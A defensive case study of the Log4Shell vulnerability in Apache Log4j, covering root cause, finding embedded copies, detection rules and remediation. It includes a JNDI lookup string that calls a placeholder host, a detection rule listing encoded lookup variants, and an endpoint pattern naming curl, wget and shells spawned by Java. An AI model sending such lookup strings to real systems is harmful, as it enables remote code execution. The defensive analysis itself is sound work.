CVE-2021-44228 Log4Shell: Root Cause, Exposure Mapping, and Detection
A real-world case study of Log4Shell, the Apache Log4j remote code execution vulnerability, with practical guidance for asset discovery, patching, and detection.
Why This Vulnerability Still Matters
CVE-2021-44228, commonly known as Log4Shell, was disclosed publicly in December 2021 and quickly became one of the most operationally disruptive software vulnerabilities of the last decade. Apache rated the issue CVSS 10.0 because affected versions of log4j-core could resolve attacker-controlled JNDI lookups and load code from remote endpoints.
The hard part was not only patching internet-facing Java applications. The hard part was finding every copy of Log4j embedded in vendor products, shaded JARs, container images, build artifacts, and old release branches.
Advisory Summary
| Field | Detail |
|---|---|
| CVE | CVE-2021-44228 |
| Common name | Log4Shell |
| Component | Apache Log4j log4j-core |
| Severity | CVSS 3.1: 10.0 Critical |
| Primary impact | Remote code execution in vulnerable configurations |
| Affected ranges | Log4j 2.0-beta9 through vulnerable 2.14.x lines, with fixed versions depending on Java line |
| Initial fixed versions | 2.15.0 for Java 8+, later followed by additional fixes for related Log4j issues |
Root Cause
Log4j supported message lookups, including JNDI lookups. In vulnerable versions, if an application logged attacker-controlled content, a crafted lookup string could cause the server to contact attacker-controlled infrastructure.
The vulnerable pattern is conceptually simple:
String userAgent = request.getHeader("User-Agent");
logger.info("Request from {}", userAgent);
The logging call itself looks normal. The danger was that the logged value could contain lookup syntax interpreted by Log4j before the message was written.
${jndi:ldap://example.invalid/a}
That string is shown as an indicator pattern, not as an exploitation recipe. In real incidents, defenders saw many protocol variants, encoded forms, case changes, nested lookups, and payloads placed in HTTP headers such as User-Agent, X-Forwarded-For, and Referer.
Why Asset Discovery Was Difficult
Teams that searched only for explicit Maven dependencies often missed vulnerable copies. Real exposure mapping needed multiple views:
- Source dependencies in Maven, Gradle, SBT, and vendor build files.
- Built JAR/WAR/EAR archives containing
JndiLookup.class. - Container images and base layers with Java applications.
- Commercial appliances and third-party software using bundled Log4j.
- Long-running services deployed before the current SBOM process existed.
# Find Java archives for offline inspection.
find /opt /srv /var -type f \( -name "*.jar" -o -name "*.war" -o -name "*.ear" \) 2>/dev/null
# Identify artifacts that contain the historical lookup class.
zipgrep -l "JndiLookup.class" /path/to/app.jar
Version checks are useful, but they are not enough by themselves. A shaded dependency, vendor patch, backport, or removed class can make simple filename matching inaccurate.
Detection Opportunities
No single detection catches every Log4Shell attempt. Good coverage combines web telemetry, DNS, proxy logs, endpoint process behavior, and dependency inventory.
Web and Proxy Logs
Look for lookup syntax or encoded equivalents in:
- HTTP request headers
- URL paths and query strings
- POST bodies where logged by the application
- Authentication fields and error-triggering inputs
title: Possible Log4Shell Probe In Web Logs
status: test
logsource:
category: webserver
detection:
selection:
request|contains:
- '${jndi:'
- '%24%7Bjndi'
- '$%7Bjndi'
condition: selection
fields:
- src_ip
- request
- user_agent
falsepositives:
- Security scanners and internal validation tools
level: high
DNS and Egress
Outbound LDAP, RMI, DNS, or HTTP callbacks from application servers were a strong triage signal, especially where those servers normally had tightly controlled egress.
flowchart LR
A[Attacker-controlled input] --> B[Application logs value]
B --> C[Vulnerable Log4j lookup]
C --> D[Outbound callback]
D --> E[Follow-on payload or data exposure]
Endpoint Telemetry
On hosts, prioritize Java processes spawning shells, download tools, scripting runtimes, or unusual child processes:
parent_process_name: java.exe OR java
child_process_name: sh OR bash OR cmd.exe OR powershell.exe OR curl OR wget
Treat this as high-confidence only when paired with an exposed Java service, suspicious inbound request, or unexpected outbound callback.
Remediation Lessons
- Upgrade Log4j according to Apache guidance for the Java version in use.
- Remove or upgrade vulnerable vendor packages, not only first-party code.
- Block unnecessary egress from application servers.
- Build SBOM coverage into release pipelines.
- Add recurring dependency scanning for dormant services and old images.
- Keep emergency patch procedures ready for internet-facing software.
Takeaways
Log4Shell was a dependency-management failure as much as an application vulnerability. The organizations that responded best had three things ready before disclosure: asset inventory, egress visibility, and a fast path from advisory to production patch.
The practical lesson for defenders is simple: if a component is common enough to be everywhere, finding it is part of incident response.
References
Share this research
Related Research
Memory Analysis with Volatility 3: Recovering Artifacts from a Compromised Host
Practical guide to memory forensics using Volatility 3 plugins to identify process injection, credential artifacts, and attacker tooling in RAM dumps.
WannaCry Ransomware: Static Triage, Kill Switch Logic, and MS17-010 Lessons
A real-world malware analysis case study of WannaCry, focusing on its SMBv1 propagation, kill switch behavior, and defensive lessons from the 2017 outbreak.
Web Cache Poisoning: Exploiting HTTP Implementation Discrepancies
Technical analysis of web cache poisoning attacks leveraging unkeyed headers and cache key normalization differences between proxies and origin servers.